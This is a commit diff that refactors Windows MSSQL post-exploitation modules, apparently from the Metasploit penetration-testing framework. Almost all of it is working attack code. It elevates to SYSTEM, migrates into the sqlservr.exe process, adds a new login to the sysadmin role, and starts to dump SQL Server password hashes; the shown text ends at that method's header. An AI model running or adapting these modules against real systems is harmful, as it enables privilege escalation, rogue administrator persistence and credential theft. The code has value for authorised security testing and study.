Refactor MSSQL Post
parent
1558190a9d
commit
e2af15a0df
|
@ -0,0 +1,156 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
module Windows
|
||||
|
||||
module MSSQL
|
||||
|
||||
attr_accessor :sql_client
|
||||
|
||||
include Msf::Exploit::Remote::MSSQL_COMMANDS
|
||||
include Msf::Post::Windows::Services
|
||||
include Msf::Post::Windows::Priv
|
||||
|
||||
## ----------------------------------------------
|
||||
## Method to check if the SQL Server service is running
|
||||
## ----------------------------------------------
|
||||
def check_for_sqlserver(instance=nil)
|
||||
target_service = nil
|
||||
each_service do |service|
|
||||
unless instance.to_s.strip.empty?
|
||||
if service[:display].downcase.include?(instance.downcase)
|
||||
target_service = service
|
||||
break
|
||||
end
|
||||
else
|
||||
# Target default instance
|
||||
if service[:display] =~ /SQL Server \(| MSSQLSERVER/i
|
||||
target_service = service
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if target_service
|
||||
target_service.merge!(service_info(target_service[:name]))
|
||||
end
|
||||
|
||||
return target_service
|
||||
end
|
||||
|
||||
## ----------------------------------------------
|
||||
## Method for identifying which SQL client to use
|
||||
## ----------------------------------------------
|
||||
def get_sql_client
|
||||
client = nil
|
||||
|
||||
if check_sqlcmd
|
||||
client = 'sqlcmd'
|
||||
elsif check_osql
|
||||
client = 'osql'
|
||||
end
|
||||
|
||||
@sql_client = client
|
||||
return client
|
||||
end
|
||||
|
||||
def check_osql
|
||||
running_services1 = run_cmd("osql -?")
|
||||
services_array1 = running_services1.split("\n")
|
||||
return services_array1.join =~ /(SQL Server Command Line Tool)|(usage: osql)/
|
||||
end
|
||||
|
||||
def check_sqlcmd
|
||||
running_services = run_cmd("sqlcmd -?")
|
||||
services_array = running_services.split("\n")
|
||||
services_array.each do |service|
|
||||
if service =~ /SQL Server Command Line Tool/
|
||||
return true
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def run_sql(query, instance=nil, server='.')
|
||||
target = server
|
||||
if instance && instance.downcase != 'mssqlserver'
|
||||
target = "#{server}\\#{instance}"
|
||||
end
|
||||
cmd = "#{@sql_client} -E -S #{target} -Q \"#{query}\" -h-1 -w 200"
|
||||
vprint_status(cmd)
|
||||
run_cmd(cmd)
|
||||
end
|
||||
|
||||
## ----------------------------------------------
|
||||
## Method for executing cmd and returning the response
|
||||
##
|
||||
## Note: This is from one of Jabra's modules - Thanks man!
|
||||
## Note: This craps out when escalating from local admin to system
|
||||
## I assume it has something to do with the token, but don't
|
||||
## really know.
|
||||
##----------------------------------------------
|
||||
def run_cmd(cmd, token=true)
|
||||
opts = {'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token}
|
||||
process = session.sys.process.execute("cmd.exe /c #{cmd}", nil, opts)
|
||||
res = ""
|
||||
while (d = process.channel.read)
|
||||
break if d == ""
|
||||
res << d
|
||||
end
|
||||
process.channel.close
|
||||
process.close
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
|
||||
## ----------------------------------------------
|
||||
## Method for impersonating sql server instance
|
||||
## ----------------------------------------------
|
||||
def impersonate_sql_user(service)
|
||||
pid = service[:pid]
|
||||
vprint_status("Current user: #{session.sys.config.getuid}")
|
||||
|
||||
# Attempt to migrate to target sqlservr.exe process
|
||||
# Migrating works, but I can't rev2self after its complete
|
||||
print_warning("Attempting to migrate to process #{pid}...")
|
||||
begin
|
||||
session.core.migrate(pid)
|
||||
rescue Rex::RuntimeError => e
|
||||
print_error(e.to_s)
|
||||
return false
|
||||
end
|
||||
|
||||
vprint_status("Current user: #{session.sys.config.getuid}")
|
||||
print_good("Successfully migrated to sqlservr.exe process #{pid}")
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
|
||||
## ----------------------------------------------
|
||||
## Method to become SYSTEM if required
|
||||
## Note: This is from one of Jabra's modules.
|
||||
## ----------------------------------------------
|
||||
def get_system
|
||||
print_status("Checking if user is SYSTEM...")
|
||||
|
||||
if is_system?
|
||||
print_good("User is SYSTEM")
|
||||
else
|
||||
# Attempt to get LocalSystem privileges
|
||||
print_warning("Attempting to get SYSTEM privileges...")
|
||||
system_status = session.priv.getsystem
|
||||
if system_status && system_status.first
|
||||
print_good("Success, user is now SYSTEM")
|
||||
return true
|
||||
else
|
||||
print_error("Unable to obtained SYSTEM privileges")
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
||||
end # MSSQL
|
||||
end # Windows
|
||||
end # Post
|
||||
end # Msf
|
|
@ -5,10 +5,13 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
|
||||
require 'msf/core/post/windows/mssql'
|
||||
load '/home/ben/git/metasploit-framework/lib/msf/core/post/windows/mssql.rb'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::Windows::MSSQL
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Manage Local Microsoft SQL Server Authorization Bypass',
|
||||
|
@ -35,440 +38,113 @@ class Metasploit3 < Msf::Post
|
|||
[
|
||||
OptString.new('DB_USERNAME', [true, 'New sysadmin login', '']),
|
||||
OptString.new('DB_PASSWORD', [true, 'Password for new sysadmin login', '']),
|
||||
OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', '']),
|
||||
OptBool.new('REMOVE_LOGIN', [false, 'Remove DB_USERNAME login from database', 'false'])
|
||||
OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', nil]),
|
||||
OptBool.new('REMOVE_LOGIN', [true, 'Remove DB_USERNAME login from database', 'false'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
# Set verbosity level
|
||||
verbose = datastore['VERBOSE'].to_s.downcase
|
||||
|
||||
# Set instance name (if specified)
|
||||
instance = datastore['INSTANCE'].to_s.upcase
|
||||
instance = datastore['INSTANCE'].to_s
|
||||
|
||||
# Display target
|
||||
print_status("Running module against #{sysinfo['Computer']}")
|
||||
|
||||
# Identify available native SQL client
|
||||
get_sql_client
|
||||
fail_with(Exploit::Failure::Unknown, 'Unable to identify a SQL client') unless @sql_client
|
||||
|
||||
# Get LocalSystem privileges
|
||||
system_status = givemesystem
|
||||
if system_status[0]
|
||||
system_status = get_system
|
||||
fail_with(Exploit::Failure::Unknown, 'Unable to get SYSTEM') unless system_status
|
||||
|
||||
# Check if a SQL Server service is running
|
||||
service_instance = check_for_sqlserver(instance)
|
||||
if service_instance != 0
|
||||
service = check_for_sqlserver(instance)
|
||||
fail_with(Exploit::Failure::Unknown, 'Unable to identify MSSQL Service') unless service
|
||||
|
||||
# Identify available native SQL client
|
||||
sql_client = get_sql_client()
|
||||
if sql_client != 0
|
||||
print_status("Identified service '#{service[:display]}', PID: #{service[:pid]}")
|
||||
instance_name = service[:display].gsub('SQL Server (','').gsub(')','').lstrip.rstrip
|
||||
|
||||
# Check if remove_login was selected
|
||||
if datastore['REMOVE_LOGIN'].to_s.downcase == "false"
|
||||
|
||||
# Add new login
|
||||
add_login_status = add_sql_login(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
|
||||
if add_login_status == 1
|
||||
|
||||
# Add login to sysadmin fixed server role
|
||||
add_sysadmin(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
|
||||
else
|
||||
|
||||
if add_login_status != "userexists" then
|
||||
|
||||
# Attempt to impersonate sql server service account (for sql server 2012)
|
||||
impersonate_status = impersonate_sql_user(service_instance,verbose)
|
||||
if impersonate_status == 1
|
||||
|
||||
# Add new login
|
||||
add_login_status = add_sql_login(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
|
||||
if add_login_status == 1
|
||||
|
||||
# Add login to sysadmin fixed server role
|
||||
add_sysadmin(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
else
|
||||
|
||||
# Remove login
|
||||
remove_status = remove_sql_login(sql_client,datastore['DB_USERNAME'],instance,service_instance,verbose)
|
||||
if remove_status == 0
|
||||
|
||||
# Attempt to impersonate sql server service account (for sql server 2012)
|
||||
impersonate_status = impersonate_sql_user(service_instance,verbose)
|
||||
if impersonate_status == 1
|
||||
|
||||
# Remove login
|
||||
remove_sql_login(sql_client,datastore['DB_USERNAME'],instance,service_instance,verbose)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
if datastore['REMOVE_LOGIN']
|
||||
remove_login(service, instance_name)
|
||||
else
|
||||
print_error("Could not obtain LocalSystem privileges")
|
||||
add_login(service, instance_name)
|
||||
end
|
||||
|
||||
# return to original priv context
|
||||
# attempt to return to original priv context
|
||||
session.sys.config.revert_to_self
|
||||
end
|
||||
|
||||
def add_login(service, instance_name)
|
||||
begin
|
||||
add_login_status = add_sql_login(datastore['DB_USERNAME'],
|
||||
datastore['DB_PASSWORD'],
|
||||
instance_name)
|
||||
|
||||
## ----------------------------------------------
|
||||
## Method to check if the SQL Server service is running
|
||||
## ----------------------------------------------
|
||||
def check_for_sqlserver(instance)
|
||||
|
||||
print_status("Checking for SQL Server...")
|
||||
|
||||
# Get Data
|
||||
running_services = run_cmd("net start")
|
||||
|
||||
# Parse Data
|
||||
services_array = running_services.split("\n")
|
||||
|
||||
# Check for the SQL Server service
|
||||
services_array.each do |service|
|
||||
if instance == "" then
|
||||
# Target default instance
|
||||
if service =~ /SQL Server \(| MSSQLSERVER/ then
|
||||
|
||||
# Display results
|
||||
service_instance = service.gsub(/SQL Server \(/, "").gsub(/\)/, "").lstrip.rstrip
|
||||
print_good("SQL Server instance found: #{service_instance}")
|
||||
return service_instance
|
||||
end
|
||||
unless add_login_status
|
||||
raise RuntimeError, "Retry"
|
||||
end
|
||||
rescue RuntimeError => e
|
||||
if e.message == "Retry"
|
||||
retry if impersonate_sql_user(service)
|
||||
else
|
||||
|
||||
# Target user defined instance
|
||||
if service =~ /#{instance}/ then
|
||||
|
||||
# Display user defined instance
|
||||
print_good("SQL Server instance found: #{instance}")
|
||||
return instance
|
||||
end
|
||||
raise $!
|
||||
end
|
||||
end
|
||||
|
||||
# Fail
|
||||
if instance == "" then
|
||||
print_error("SQL Server instance NOT found")
|
||||
else
|
||||
print_error("SQL Server instance \"#{instance}\" was NOT found")
|
||||
end
|
||||
return 0
|
||||
end
|
||||
|
||||
def remove_login(service, instance_name)
|
||||
begin
|
||||
remove_status = remove_sql_login(datastore['DB_USERNAME'], instance_name)
|
||||
|
||||
## ----------------------------------------------
|
||||
## Method for identifying which SQL client to use
|
||||
## ----------------------------------------------
|
||||
def get_sql_client
|
||||
|
||||
print_status("Checking for native client...")
|
||||
|
||||
# Get Data - osql
|
||||
running_services1 = run_cmd("osql -?")
|
||||
|
||||
# Parse Data - osql
|
||||
services_array1 = running_services1.split("\n")
|
||||
|
||||
# Check for osql
|
||||
if services_array1.join =~ /(SQL Server Command Line Tool)|(usage: osql)/
|
||||
print_good("OSQL client was found")
|
||||
return "osql"
|
||||
end
|
||||
|
||||
# Get Data - sqlcmd
|
||||
running_services = run_cmd("sqlcmd -?")
|
||||
|
||||
# Parse Data - sqlcmd
|
||||
services_array = running_services.split("\n")
|
||||
|
||||
# Check for SQLCMD
|
||||
services_array.each do |service|
|
||||
if service =~ /SQL Server Command Line Tool/ then
|
||||
print_good("SQLCMD client was found")
|
||||
return "sqlcmd"
|
||||
unless remove_status
|
||||
raise RuntimeError, "Retry"
|
||||
end
|
||||
rescue RuntimeError => e
|
||||
if e.message == "Retry"
|
||||
retry if impersonate_sql_user(service)
|
||||
else
|
||||
raise $!
|
||||
end
|
||||
end
|
||||
|
||||
# Fail
|
||||
print_error("No native SQL client was found")
|
||||
return 0
|
||||
end
|
||||
|
||||
## ----------------------------------------------
|
||||
## Method for adding a login
|
||||
## ----------------------------------------------
|
||||
def add_sql_login(sqlclient,dbuser,dbpass,instance,service_instance,verbose)
|
||||
|
||||
print_status("Attempting to add new login #{dbuser}...")
|
||||
|
||||
# Setup command format to accomidate version inconsistencies
|
||||
if instance == ""
|
||||
# Check default instance name
|
||||
if service_instance == "MSSQLSERVER" then
|
||||
print_status(" o MSSQL Service instance: #{service_instance}") if verbose == "true"
|
||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\""
|
||||
else
|
||||
# User defined instance
|
||||
print_status(" o OTHER Service instance: #{service_instance}") if verbose == "true"
|
||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\""
|
||||
end
|
||||
else
|
||||
# User defined instance
|
||||
print_status(" o defined instance: #{service_instance}") if verbose == "true"
|
||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{instance} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\""
|
||||
end
|
||||
|
||||
# Display debugging information
|
||||
print_status("Running command:") if verbose == "true"
|
||||
print_status("#{sqlcommand}") if verbose == "true"
|
||||
def add_sql_login(dbuser, dbpass, instance)
|
||||
print_status("Attempting to add new login \"#{dbuser}\"...")
|
||||
query = mssql_sa_escalation(username: dbuser, password: dbpass)
|
||||
|
||||
# Get Data
|
||||
add_login_result = run_cmd("#{sqlcommand}")
|
||||
add_login_result = run_sql(query, instance)
|
||||
|
||||
# Parse Data
|
||||
add_login_array = add_login_result.split("\n")
|
||||
|
||||
# Check if user exists
|
||||
add_login_array.each do |service|
|
||||
|
||||
if service =~ /already exists/ then
|
||||
print_error("Unable to add login #{dbuser}, user already exists")
|
||||
return "userexists"
|
||||
end
|
||||
end
|
||||
|
||||
# check for success/fail
|
||||
if add_login_result.empty? or add_login_result =~ /New login created./
|
||||
case add_login_result
|
||||
when '', /new login created/i
|
||||
print_good("Successfully added login \"#{dbuser}\" with password \"#{dbpass}\"")
|
||||
return 1
|
||||
return true
|
||||
when /already exists/i
|
||||
fail_with(Exploit::Failure::BadConfig, "Unable to add login #{dbuser}, user already exists")
|
||||
when /password validation failed/i
|
||||
fail_with(Exploit::Failure::BadConfig, "Unable to add login #{dbuser}, password does not meet complexity requirements")
|
||||
else
|
||||
print_error("Unable to add login #{dbuser}")
|
||||
print_error("Database Error:\n #{add_login_result}")
|
||||
return 0
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
## ----------------------------------------------
|
||||
## Method for adding a login to sysadmin role
|
||||
## ----------------------------------------------
|
||||
def add_sysadmin(sqlclient,dbuser,dbpass,instance,service_instance,verbose)
|
||||
|
||||
print_status("Attempting to make #{dbuser} login a sysadmin...")
|
||||
|
||||
# Setup command format to accomidate command inconsistencies
|
||||
if instance == ""
|
||||
# Check default instance name
|
||||
if service_instance == "MSSQLSERVER" then
|
||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 begin select 'bingo' end \""
|
||||
else
|
||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 \
|
||||
begin select 'bingo' end \""
|
||||
end
|
||||
else
|
||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{instance} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 begin select 'bingo' end \""
|
||||
end
|
||||
|
||||
# Display debugging information
|
||||
print_status("Running command:") if verbose == "true"
|
||||
print_status("#{sqlcommand}") if verbose == "true"
|
||||
|
||||
# Get Data
|
||||
add_sysadmin_result = run_cmd("#{sqlcommand}")
|
||||
|
||||
# Parse Data
|
||||
add_sysadmin_array = add_sysadmin_result.split("\n")
|
||||
|
||||
# Check for success
|
||||
check = 0
|
||||
add_sysadmin_array.each do |service|
|
||||
if service =~ /bingo/ then
|
||||
check = 1
|
||||
end
|
||||
end
|
||||
|
||||
# Display results to user
|
||||
if check == 1
|
||||
print_good("Successfully added \"#{dbuser}\" to sysadmin role")
|
||||
return 1
|
||||
else
|
||||
# Fail
|
||||
print_error("Unabled to add #{dbuser} to sysadmin role")
|
||||
print_error("Database Error:\n\n #{add_sysadmin_result}")
|
||||
return 0
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
## ----------------------------------------------
|
||||
## Method for removing login
|
||||
## ----------------------------------------------
|
||||
def remove_sql_login(sqlclient,dbuser,instance,service_instance,verbose)
|
||||
|
||||
def remove_sql_login(dbuser, instance_name)
|
||||
print_status("Attempting to remove login \"#{dbuser}\"")
|
||||
query = "sp_droplogin '#{dbuser}'"
|
||||
|
||||
# Setup command format to accomidate command inconsistencies
|
||||
if instance == ""
|
||||
# Check default instance name
|
||||
if service_instance == "SQLEXPRESS" then
|
||||
# Set command here for SQLEXPRESS
|
||||
sqlcommand = "#{sqlclient} -E -S .\\SQLEXPRESS -Q \"sp_droplogin '#{dbuser}'\""
|
||||
else
|
||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_droplogin '#{dbuser}'\""
|
||||
end
|
||||
else
|
||||
# Set command here
|
||||
sqlcommand = "#{sqlclient} -E -S .\\#{instance} -Q \"sp_droplogin '#{dbuser}'\""
|
||||
end
|
||||
|
||||
# Display debugging information
|
||||
print_status("Settings:") if verbose == "true"
|
||||
print_status(" o SQL Client: #{sqlclient}") if verbose == "true"
|
||||
print_status(" o User: #{dbuser}") if verbose == "true"
|
||||
print_status(" o Service instance: #{service_instance}") if verbose == "true"
|
||||
print_status(" o User defined instance: #{instance}") if verbose == "true"
|
||||
print_status("Command:") if verbose == "true"
|
||||
print_status("#{sqlcommand}") if verbose == "true"
|
||||
|
||||
# Get Data
|
||||
remove_login_result = run_cmd("#{sqlcommand}")
|
||||
|
||||
# Parse Data
|
||||
remove_login_array = remove_login_result.split("\n")
|
||||
|
||||
# Check for success
|
||||
check = 0
|
||||
remove_login_array.each do |service|
|
||||
if service =~ // then
|
||||
check = 1
|
||||
end
|
||||
end
|
||||
remove_login_result = run_sql(query, instance_name)
|
||||
|
||||
# Display result
|
||||
if check == 0
|
||||
if remove_login_result.empty?
|
||||
print_good("Successfully removed login \"#{dbuser}\"")
|
||||
return 1
|
||||
return true
|
||||
else
|
||||
# Fail
|
||||
print_error("Unabled to remove login #{dbuser}")
|
||||
print_error("Database Error:\n\n #{remove_login_result}")
|
||||
return 0
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
## ----------------------------------------------
|
||||
## Method for executing cmd and returning the response
|
||||
##
|
||||
## Note: This is from one of Jabra's modules - Thanks man!
|
||||
## Note: This craps out when escalating from local admin to system
|
||||
## I assume it has something to do with the token, but don't
|
||||
## really know.
|
||||
##----------------------------------------------
|
||||
def run_cmd(cmd,token=true)
|
||||
opts = {'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token}
|
||||
process = session.sys.process.execute(cmd, nil, opts)
|
||||
res = ""
|
||||
while (d = process.channel.read)
|
||||
break if d == ""
|
||||
res << d
|
||||
end
|
||||
process.channel.close
|
||||
process.close
|
||||
return res
|
||||
end
|
||||
|
||||
|
||||
## ----------------------------------------------
|
||||
## Method for impersonating sql server instance
|
||||
## ----------------------------------------------
|
||||
def impersonate_sql_user(service_instance,verbose)
|
||||
|
||||
# Print the current user
|
||||
blah = session.sys.config.getuid if verbose == "true"
|
||||
print_status("Current user: #{blah}") if verbose == "true"
|
||||
|
||||
# Define target user/pid
|
||||
targetuser = ""
|
||||
targetpid = ""
|
||||
|
||||
# Identify SQL Server service processes
|
||||
print_status("Searching for sqlservr.exe processes not running as SYSTEM...")
|
||||
session.sys.process.get_processes().each do |x|
|
||||
|
||||
# Search for all sqlservr.exe processes
|
||||
if ( x['name'] == "sqlservr.exe" and x['user'] != "NT AUTHORITY\\SYSTEM")
|
||||
|
||||
# Found one
|
||||
print_good("Found \"#{x['user']}\" running sqlservr.exe process #{x['pid']}")
|
||||
|
||||
# Define target pid / user
|
||||
if x['user'] =~ /NT SERVICE/ then
|
||||
if x['user'] == "NT SERVICE\\MSSQL$#{service_instance}" then
|
||||
targetuser = "NT SERVICE\\MSSQL$#{service_instance}"
|
||||
targetpid = x['pid']
|
||||
end
|
||||
else
|
||||
targetuser = x['user']
|
||||
targetpid = x['pid']
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Attempt to migrate to target sqlservr.exe process
|
||||
if targetuser == "" then
|
||||
print_error("Unable to find sqlservr.exe process not running as SYSTEM")
|
||||
return 0
|
||||
else
|
||||
begin
|
||||
# Migrating works, but I can't rev2self after its complete
|
||||
print_status("Attempting to migrate to process #{targetpid}...")
|
||||
session.core.migrate(targetpid.to_i)
|
||||
|
||||
# Statusing
|
||||
blah = session.sys.config.getuid if verbose == "true"
|
||||
print_status("Current user: #{blah}") if verbose == "true"
|
||||
print_good("Successfully migrated to sqlservr.exe process #{targetpid}")
|
||||
return 1
|
||||
rescue
|
||||
print_error("Unable to migrate to sqlservr.exe process #{targetpid}")
|
||||
return 0
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
## ----------------------------------------------
|
||||
## Method to become SYSTEM if required
|
||||
## Note: This is from one of Jabra's modules.
|
||||
## ----------------------------------------------
|
||||
def givemesystem
|
||||
|
||||
# Statusing
|
||||
print_status("Checking if user is SYSTEM...")
|
||||
|
||||
# Check if user is system
|
||||
if session.sys.config.getuid == "NT AUTHORITY\\SYSTEM"
|
||||
print_good("User is SYSTEM")
|
||||
return 1
|
||||
else
|
||||
# Attempt to get LocalSystem privileges
|
||||
print_error("User is NOT SYSTEM")
|
||||
print_status("Attempting to get SYSTEM privileges...")
|
||||
system_status = session.priv.getsystem
|
||||
if system_status[0]
|
||||
print_good("Success!, user is now SYSTEM")
|
||||
return 1
|
||||
else
|
||||
print_error("Unable to obtained SYSTEM privileges")
|
||||
return 0
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -6,17 +6,12 @@
|
|||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/auxiliary/report'
|
||||
require 'rex/proto/rfb'
|
||||
require 'msf/core/post/windows/mssql'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Post::Windows::UserProfiles
|
||||
|
||||
VERSION_5 = Gem::Version.new('5.0')
|
||||
VERSION_6 = Gem::Version.new('6.0')
|
||||
VERSION_8 = Gem::Version.new('8.0')
|
||||
VERSION_9 = Gem::Version.new('9.0')
|
||||
include Msf::Post::Windows::MSSQL
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
|
@ -33,249 +28,105 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', '']),
|
||||
OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', nil])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
# Set verbosity level
|
||||
verbose = datastore['VERBOSE'].to_s.downcase
|
||||
|
||||
# Set instance name (if specified)
|
||||
instance = datastore['INSTANCE'].to_s.upcase
|
||||
instance = datastore['INSTANCE'].to_s
|
||||
|
||||
# Display target
|
||||
print_status("Running module against #{sysinfo['Computer']}")
|
||||
|
||||
# Identify available native SQL client
|
||||
get_sql_client
|
||||
fail_with(Exploit::Failure::Unknown, 'Unable to identify a SQL client') unless @sql_client
|
||||
|
||||
# Get LocalSystem privileges
|
||||
system_status = givemesystem
|
||||
if system_status[0]
|
||||
system_status = get_system
|
||||
fail_with(Exploit::Failure::Unknown, 'Unable to get SYSTEM') unless system_status
|
||||
|
||||
# Check if a SQL Server service is running
|
||||
service_instance = check_for_sqlserver(instance)
|
||||
if service_instance != 0
|
||||
service = check_for_sqlserver(instance)
|
||||
fail_with(Exploit::Failure::Unknown, 'Unable to identify MSSQL Service') unless service
|
||||
|
||||
# Identify available native SQL client
|
||||
sql_client = get_sql_client()
|
||||
if sql_client != 0
|
||||
print_status("Identified service '#{service[:display]}', PID: #{service[:pid]}")
|
||||
instance_name = service[:display].gsub('SQL Server (','').gsub(')','').lstrip.rstrip
|
||||
|
||||
# Get Password Hashes
|
||||
add_sql_status = get_sql_hash(sql_client,instance,service_instance,verbose)
|
||||
|
||||
# If Fail
|
||||
if add_sql_status == 0
|
||||
|
||||
# Attempt to impersonate sql server service account (for sql server 2012)
|
||||
impersonate_status = impersonate_sql_user(service_instance,verbose)
|
||||
if impersonate_status == 1
|
||||
|
||||
# Get Password Hashes
|
||||
get_sql_hash(sql_client,instance,service_instance,verbose)
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
begin
|
||||
get_sql_hash(instance_name)
|
||||
rescue RuntimeError
|
||||
# Attempt to impersonate sql server service account (for sql server 2012)
|
||||
if impersonate_sql_user(service)
|
||||
get_sql_hash(instance_name)
|
||||
end
|
||||
else
|
||||
print_error("Could not obtain LocalSystem privileges")
|
||||
end
|
||||
|
||||
# return to original priv context
|
||||
session.sys.config.revert_to_self
|
||||
end
|
||||
|
||||
def get_sql_version(instance_name)
|
||||
vprint_status("Attempting to get version...")
|
||||
|
||||
## ----------------------------------------------
|
||||
## Method to check if the SQL Server service is running
|
||||
## ----------------------------------------------
|
||||
def check_for_sqlserver(instance)
|
||||
query = mssql_sql_info
|
||||
|
||||
print_status("Checking for SQL Server...")
|
||||
|
||||
# Get Data
|
||||
running_services = run_cmd("net start")
|
||||
|
||||
# Parse Data
|
||||
services_array = running_services.split("\n")
|
||||
|
||||
# Check for the SQL Server service
|
||||
services_array.each do |service|
|
||||
if instance == "" then
|
||||
# Target default instance
|
||||
if service =~ /SQL Server \(| MSSQLSERVER/ then
|
||||
|
||||
# Display results
|
||||
service_instance = service.gsub(/SQL Server \(/, "").gsub(/\)/, "").lstrip.rstrip
|
||||
print_status("SQL Server instance found: #{service_instance}")
|
||||
return service_instance
|
||||
end
|
||||
else
|
||||
|
||||
# Target user defined instance
|
||||
if service =~ /#{instance}/ then
|
||||
|
||||
# Display user defined instance
|
||||
print_status("SQL Server instance found: #{instance}")
|
||||
return instance
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Fail
|
||||
if instance == "" then
|
||||
print_error("SQL Server instance NOT found")
|
||||
else
|
||||
print_error("SQL Server instance \"#{instance}\" was NOT found")
|
||||
end
|
||||
return 0
|
||||
end
|
||||
|
||||
|
||||
## ----------------------------------------------
|
||||
## Method for identifying which SQL client to use
|
||||
## ----------------------------------------------
|
||||
def get_sql_client
|
||||
|
||||
print_status("Checking for native client...")
|
||||
|
||||
# Get Data - osql
|
||||
running_services1 = run_cmd("osql -?")
|
||||
|
||||
# Parse Data - osql
|
||||
services_array1 = running_services1.split("\n")
|
||||
|
||||
# Check for osql
|
||||
if services_array1.join =~ /(SQL Server Command Line Tool)|(usage: osql)/
|
||||
print_status("OSQL client was found")
|
||||
return "osql"
|
||||
end
|
||||
|
||||
# Get Data - sqlcmd
|
||||
running_services = run_cmd("sqlcmd -?")
|
||||
|
||||
# Parse Data - sqlcmd
|
||||
services_array = running_services.split("\n")
|
||||
|
||||
# Check for SQLCMD
|
||||
services_array.each do |service|
|
||||
if service =~ /SQL Server Command Line Tool/ then
|
||||
print_status("SQLCMD client was found")
|
||||
return "sqlcmd"
|
||||
end
|
||||
end
|
||||
|
||||
# Fail
|
||||
print_error("No native SQL client was found")
|
||||
return 0
|
||||
end
|
||||
|
||||
## ----------------------------------------------
|
||||
## Method for getting SQL Version
|
||||
## ----------------------------------------------
|
||||
def get_sql_version(sqlclient,instance,service_instance,verbose)
|
||||
|
||||
print_status("Attempting to get version...")
|
||||
|
||||
mssql_version_query = "SELECT @@version"
|
||||
|
||||
# Setup command format to accomidate version inconsistencies
|
||||
if instance == ""
|
||||
# Check default instance name
|
||||
if service_instance == "MSSQLSERVER" then
|
||||
print_status(" o MSSQL Service instance: #{service_instance}") if verbose == "true"
|
||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"SET nocount on;#{mssql_version_query}\" -h-1"
|
||||
else
|
||||
# User defined instance
|
||||
print_status(" o OTHER Service instance: #{service_instance}") if verbose == "true"
|
||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"SET nocount on;#{mssql_version_query}\" -h-1"
|
||||
end
|
||||
else
|
||||
# User defined instance
|
||||
print_status(" o defined instance: #{service_instance}") if verbose == "true"
|
||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{instance} -Q \"SET nocount on;#{mssql_version_query}\" -h-1"
|
||||
end
|
||||
|
||||
# Display debugging information
|
||||
print_status("Running command:") if verbose == "true"
|
||||
print_status("#{sqlcommand}") if verbose == "true"
|
||||
|
||||
# Get Data
|
||||
get_version_result = run_cmd("#{sqlcommand}")
|
||||
get_version_result = run_sql(query, instance_name)
|
||||
|
||||
# Parse Data
|
||||
get_version_array = get_version_result.split("\n")
|
||||
version_year = get_version_array[0].strip.slice(/\d\d\d\d/)
|
||||
version_year = get_version_array.first.strip.slice(/\d\d\d\d/)
|
||||
if version_year
|
||||
print_status("MSSQL version found: #{version_year}")
|
||||
vprint_status("MSSQL version found: #{version_year}")
|
||||
return version_year
|
||||
else
|
||||
print_error("MSSQL version not found")
|
||||
vprint_error("MSSQL version not found")
|
||||
end
|
||||
end
|
||||
|
||||
## ----------------------------------------------
|
||||
## Method for getting password hashes
|
||||
## ----------------------------------------------
|
||||
